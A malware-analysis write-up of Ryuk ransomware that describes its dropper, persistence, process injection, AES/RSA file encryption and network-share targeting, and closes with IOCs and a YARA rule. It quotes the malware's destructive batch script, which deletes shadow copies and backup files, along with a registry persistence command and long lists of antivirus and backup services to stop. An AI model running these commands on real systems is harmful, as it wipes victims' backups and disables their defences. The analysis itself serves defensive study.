Deep Analysis of Ryuk Ransomware

13 minute read

Introduction

Attack Chain

Ryuk has been know to be a part of a bigger "Triple Threat" attack that involves Emotet and TrickBot.

The first stage of this attack is the delivery of Emotet through phishing emails that contain a weaponized word document, this document contains a macro code that downloads Emotet.

Once Emotet executes, it downloads another malware (usually TrickBot) which can collect system information, steal credentials, disable AV, do lateral movement, …

The third stage of the attack is to connect to the C&C server to download Ryuk which makes use of the lateral movement done by TrickBot to infect and encrypt as many systems on the network as possible.

1

Ryuk overview

I will give a brief overview of how Ryuk operates then I will go into details in the upcoming sections.

Ryuk operates in two stages. The first stage is a dropper that drops the real Ryuk ransomware at another directory and exits. Then the ransomware tries to injects running processes to avoid detection. We can also see that it launches a cmd.exe process to modify the registry.

2

After that, Ryuk goes through encrypting the system files and network shares, it drops a "Ransom Note" at every folder it encrypts under the name RyukReadMe.txt.

3

Enough introduction, let’s dive into Ryuk.

First Stage (The Dropper)

SHA256: 23f8aa94ffb3c08a62735fe7fee5799880a8f322ce1d55ec49a13a3f85312db2

The dropper first checks the windows MajorVersion and if it’s equal to 5 (windows 2000 | windows XP | Windows Server 2003), it drops the ransomware executable at C:\Documents and Settings\Default User\ , otherwise it drops it at C:\users\Public\.

4

The name of the dropped executable is five randomly generated characters.

5

If the creation of this file failed, Ryuk drops the executable at the same directory of the dropper with replacing the last character of its name with the letter ‘V’ (If the dropper name is ryuk.exe, the dropped executable will be ryuV.exe).

Next we can see a call to IsWow64Process() and if it returns true (which means Ryuk is running at a 64 bit system), it writes the 64 bit binary to the dropped executable, else it writes the 32 bit binary. The 2 binary files are stored at the .data section.

The last step is a call to ShellExecuteW() to execute the second stage executable with passing it one argument which is the dropper path (This is used later to delete the dropper).

6 7

Second Stage

SHA256: 8b0a5fb13309623c3518473551cb1f55d38d8450129d4a3c16b476f7b2867d7d

Deleting The Dropper

Before the dropper exits, it passes its path to the second stage executable as a command line argument which in turn deletes the dropper.

8

Persistence

Ryuk uses the very well know registry key to achieve persistence, It creates a new value under the name "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchos" and its data is set to the executable path which in my case is "C:\users\Public\BPWPc.exe".

Here is the full command:

C:\Windows\System32\cmd.exe /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\users\Public\BPWPc.exe" /f

Privilege Escalation

Ryuk uses AdjustTokenPrivileges() function to adjust its process security access token. The requested privilege name is SeDebugPrivilege and according to Microsoft docs:

SeDebugPrivilege:

Required to debug and adjust the memory of a process owned by another account. With this privilege, the user can attach a debugger to any process or to the kernel.

9

This method is usually used by malware to perform process injection (which is done next).

Process Injection

Ryuk goes through all running processes and stores (ProcessName, ProcessID, ProcessType) in a big array, ProcessType is an integer that is set to 1 If the domain name of the user of the process starts with “NT A” (which is “NT AUTHORITY”), otherwise the ProcessType is set to 2.

10

To make it easier, I created a structure in IDA called ProcessInfo.

11

After that, Ryuk loops through the processes’ stored data to perform the process injection.

If the process name is (csrss.exe | explorer.exe | lsaas.exe), Ryuk ignores that process.

12

The process injection technique used here is very simple, Ryuk allocates memory for its process at the target process memory space using VirtualAllocEx(), then it writes its process to that allocated memory using WriteProcessMemory(). Finally it creates a new thread using CreateRemoteThread() to run Ryuk’s thread at the injected process.

13

Building Imports

Ryuk imports its necessary functions dynamically using LoadLibraryA() and GetProcAdress(). The names of the imported functions are obfuscated so static analysis won’t do very well here.

14

We can use a debugger to get these names rather than reversing the obfuscation algorithm.

15

Here is the list of imported functions:

Expand to see more
  advapi32.dll
      CryptAcquireContextW
      CryptDecrypt
      CryptDeriveKey
      CryptDestroyKey
      CryptEncrypt
      CryptExportKey
      CryptGenKey
      CryptImportKey
      GetUserNameA
      GetUserNameW
      RegCloseKey
      RegDeleteValueW
      RegOpenKeyExA
      RegOpenKeyExW
      RegQueryValueExA
      RegSetValueExW
  kernel32.dll
      CloseHandle
      CopyFileA
      CopyFileW
      CreateDirectoryW
      CreateFileA
      CreateFileW
      CreateProcessA
      CreateProcessW
      DeleteFileW
      ExitProcess
      FindClose
      FindFirstFileW
      FindNextFileW
      FreeLibrary
      GetCommandLineW
      GetCurrentProcess
      GetDriveTypeW
      GetFileAttributesA
      GetFileAttributesW
      GetFileSize
      GetLogicalDrives
      GetModuleFileNameA
      GetModuleFileNameW
      GetModuleHandleA
      GetStartupInfoW
      GetTickCount
      GetVersionExW
      GetWindowsDirectoryW
      GlobalAlloc
      LoadLibraryA
      ReadFile
      SetFileAttributesA
      SetFileAttributesW
      SetFilePointer
      Sleep
      VirtualAlloc
      VirtualFree
      WinExec
      Wow64DisableWow64FsRedirection
      Wow64RevertWow64FsRedirection
      WriteFile
  ole32.dll
      CoCreateInstance
      CoInitialize
  Shell32.dll
      ShellExecuteA
      ShellExecuteW
  mpr.dll
      WNetCloseEnum
      WNetEnumResourceW
      WNetOpenEnumW
  Iphlpapi.dll
      GetIpNetTable

Killing Processes

Ryuk has a long list of predefined services and processes to kill using net stop and taskkill /IM respectively.

Here is the list of services:

Expand to see more
    Acronis VSS Provider
    Enterprise Client Service
    Sophos Agent
    Sophos AutoUpdate Service
    Sophos Clean Service
    Sophos Device Control Service
    Sophos File Scanner Service
    Sophos Health Service
    Sophos MCS Agent
    Sophos MCS Client
    Sophos Message Router
    Sophos Safestore Service
    Sophos System Protection Service
    Sophos Web Control Service
    SQLsafe Backup Service
    SQLsafe Filter Service
    Symantec System Recovery
    Veeam Backup Catalog Data Service
    AcronisAgent
    AcrSch2Svc
    Antivirus
    ARSM
    BackupExecAgentAccelerator
    BackupExecAgentBrowser
    BackupExecDeviceMediaService
    BackupExecJobEngine
    BackupExecManagementService
    BackupExecRPCService
    BackupExecVSSProvider
    bedbg
    DCAgent
    EPSecurityService
    EPUpdateService
    EraserSvc11710
    EsgShKernel
    FA_Scheduler
    IISAdmin
    IMAP4Svc
    macmnsvc
    masvc
    MBAMService
    MBEndpointAgent
    McAfeeEngineService
    McAfeeFramework
    McAfeeFrameworkMcAfeeFramework
    McShield
    McTaskManager
    mfemms
    mfevtp
    MMS
    mozyprobackup
    MsDtsServer
    MsDtsServer100
    MsDtsServer110
    MSExchangeES
    MSExchangeIS
    MSExchangeMGMT
    MSExchangeMTA
    MSExchangeSA
    MSExchangeSRS
    MSOLAP$SQL_2008
    MSOLAP$SYSTEM_BGC
    MSOLAP$TPS
    MSOLAP$TPSAMA
    MSSQL$BKUPEXEC
    MSSQL$ECWDB2
    MSSQL$PRACTICEMGT
    MSSQL$PRACTTICEBGC
    MSSQL$PROFXENGAGEMENT
    MSSQL$SBSMONITORING
    MSSQL$SHAREPOINT
    MSSQL$SQL_2008
    MSSQL$SYSTEM_BGC
    MSSQL$TPS
    MSSQL$TPSAMA
    MSSQL$VEEAMSQL2008R2
    MSSQL$VEEAMSQL2012
    MSSQLFDLauncher
    MSSQLFDLauncher$PROFXENGAGEMENT
    MSSQLFDLauncher$SBSMONITORING
    MSSQLFDLauncher$SHAREPOINT
    MSSQLFDLauncher$SQL_2008
    MSSQLFDLauncher$SYSTEM_BGC
    MSSQLFDLauncher$TPS
    MSSQLFDLauncher$TPSAMA
    MSSQLSERVER
    MSSQLServerADHelper100
    MSSQLServerOLAPService
    MySQL80
    MySQL57
    ntrtscan
    OracleClientCache80
    PDVFSService
    POP3Svc
    ReportServer
    ReportServer$SQL_2008
    ReportServer$SYSTEM_BGC
    ReportServer$TPS
    ReportServer$TPSAMA
    RESvc
    sacsvr
    SamSs
    SAVAdminService
    SAVService
    SDRSVC
    SepMasterService
    ShMonitor
    Smcinst
    SmcService
    SMTPSvc
    SNAC
    SntpService
    sophossps
    SQLAgent$BKUPEXEC
    SQLAgent$ECWDB2
    SQLAgent$PRACTTICEBGC
    SQLAgent$PRACTTICEMGT
    SQLAgent$PROFXENGAGEMENT
    SQLAgent$SBSMONITORING
    SQLAgent$SHAREPOINT
    SQLAgent$SQL_2008
    SQLAgent$SYSTEM_BGC
    SQLAgent$TPS
    SQLAgent$TPSAMA
    SQLAgent$VEEAMSQL2008R2
    SQLAgent$VEEAMSQL2012
    SQLBrowser
    SQLSafeOLRService
    SQLSERVERAGENT
    SQLTELEMETRY
    SQLTELEMETRY$ECWDB2
    SQLWriter
    SstpSvc
    svcGenericHost
    swi_filter
    swi_service
    swi_update_64
    TmCCSF
    tmlisten
    TrueKey
    TrueKeyScheduler
    TrueKeyServiceHelper
    UI0Detect
    VeeamBackupSvc
    VeeamBrokerSvc
    VeeamCatalogSvc
    VeeamCloudSvc
    VeeamDeploymentService
    VeeamDeploySvc
    VeeamEnterpriseManagerSvc
    VeeamMountSvc
    VeeamNFSSvc
    VeeamRESTSvc
    VeeamTransportSvc
    W3Svc
    wbengine
    WRSVC
    MSSQL$VEEAMSQL2008R2
    SQLAgent$VEEAMSQL2008R2
    VeeamHvIntegrationSvc
    swi_update
    SQLAgent$CXDB
    SQLAgent$CITRIX_METAFRAME
    SQL Backups
    MSSQL$PROD
    Zoolz 2 Service
    MSSQLServerADHelper
    SQLAgent$PROD
    msftesql$PROD
    NetMsmqActivator
    EhttpSrv
    ekrn
    ESHASRV
    MSSQL$SOPHOS
    SQLAgent$SOPHOS
    AVP
    klnagent
    MSSQL$SQLEXPRESS
    SQLAgent$SQLEXPRESS
    wbengine
    kavfsslp
    KAVFSGT
    KAVFS
    mfefire


And here is the list of processes:

Expand to see more
    zoolz.exe
    agntsvc.exe
    dbeng50.exe
    dbsnmp.exe
    encsvc.exe
    excel.exe
    firefoxconfig.exe
    infopath.exe
    isqlplussvc.exe
    msaccess.exe
    msftesql.exe
    mspub.exe
    mydesktopqos.exe
    mydesktopservice.exe
    mysqld.exe
    mysqld-nt.exe
    mysqld-opt.exe
    ocautoupds.exe
    ocomm.exe
    ocssd.exe
    onenote.exe
    oracle.exe
    outlook.exe
    powerpnt.exe
    sqbcoreservice.exe
    sqlagent.exe
    sqlbrowser.exe
    sqlservr.exe
    sqlwriter.exe
    steam.exe
    synctime.exe
    tbirdconfig.exe
    thebat.exe
    thebat64.exe
    thunderbird.exe
    visio.exe
    winword.exe
    wordpad.exe
    xfssvccon.exe
    tmlisten.exe
    PccNTMon.exe
    CNTAoSMgr.exe
    Ntrtscan.exe
    mbamtray.exe

Deleting Backups

Ryuk drops a batch script at C:\Users\Public\window.bat which deletes all shadow copies and possible backups, then the script deletes itself.

vssadmin Delete Shadows /all /quiet
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
vssadmin Delete Shadows /all /quiet
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk
del %0

The Encryption Process

Ryuk uses a multi threading approach for the encryption process, it creates a new thread for each file it encrypts which makes it very fast.

It starts enumerating files using FindFirstFileW() and FindNextFileW() then it passes each file name to a new encryption thread. Note that Ryuk avoids encrypting these file extensions:

.dll
.lnk
.hrmlog
.ini
.exe

Each encryption thread starts by generating a random 256 AES encryption key using CryptGenKey(), Ryuk utilizes the WindowsCrypto API for the encryption.

16

Then it goes into the typical encryption loop, the files are encrypted in chunks with a chunk size of 1000000 bytes.

17 18

Finally Ryuk write a metadata block of size 274 bytes at the end of the file. The first 6 bytes are the keyword HERMES.

19

After that, The AES key is encrypted with an RSA public key before it’s written to the end of the file and then exported using CryptExportKey(), This function generates 12 bytes of Blob information + 256 bytes (the encrypted key).

20

The RSA public key is embedded in the executable, it’s imported using CryptImportKey() and passed to every encryption thread.

21 22

We can see at the end of the encryption routine a check if the keyword HERMES is present at the end of the file (which indicates the file is encrypted).

This check is actually done before encrypting the file to avoid encrypting it twice.

23

Here is an example of the complete metadata block:

24

Encrypting Network Shares

Ryuk enumerates network shares using WNetOpenEnumW() and WNetEnumResourceA() respectively.

25

For each network resource found, the resource’s name will be appended to a list separated by a semicolon. This list will be used later to encrypt these network shares with the same encryption process above.

IOCs

Hashes

Ryuk: 8b0a5fb13309623c3518473551cb1f55d38d8450129d4a3c16b476f7b2867d7

Dropper: 23f8aa94ffb3c08a62735fe7fee5799880a8f322ce1d55ec49a13a3f85312db2

Files

C:\Users\Public\window.bat

Registry

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Emails

WayneEvenson@protonmail[.]com

WayneEvenson@tutanota[.]com

Yara Rule

rule Ryuk
{
    meta:
        author = "N1ght-W0lf"
        description = "Detect Ryuk Samples"
        date = "2020-05-08"
    strings:
        $s1 = "RyukReadMe.txt" ascii wide
        $s2 = "No system is safe" ascii wide
        $s3 = "svchos" ascii wide fullword
        $s4 = "vssadmin Delete Shadows /all /quiet" ascii wide
        $s5 = "UNIQUE_ID_DO_NOT_REMOVE" ascii wide
        $s7 = "\\users\\Public\\window.bat" ascii wide
        $s6 = "HERMES" ascii wide

    condition:
        5 of them
}

External References

https://blog.malwarebytes.com/threat-spotlight/2019/12/threat-spotlight-the-curious-case-of-ryuk-ransomware/

https://research.checkpoint.com/2018/ryuk-ransomware-targeted-campaign-break/

https://app.any.run/tasks/81eaa3cf-eb75-411f-adba-b09472927155/

https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672

https://www.codeproject.com/Articles/1658/Obtain-the-plain-text-session-key-using-CryptoAPI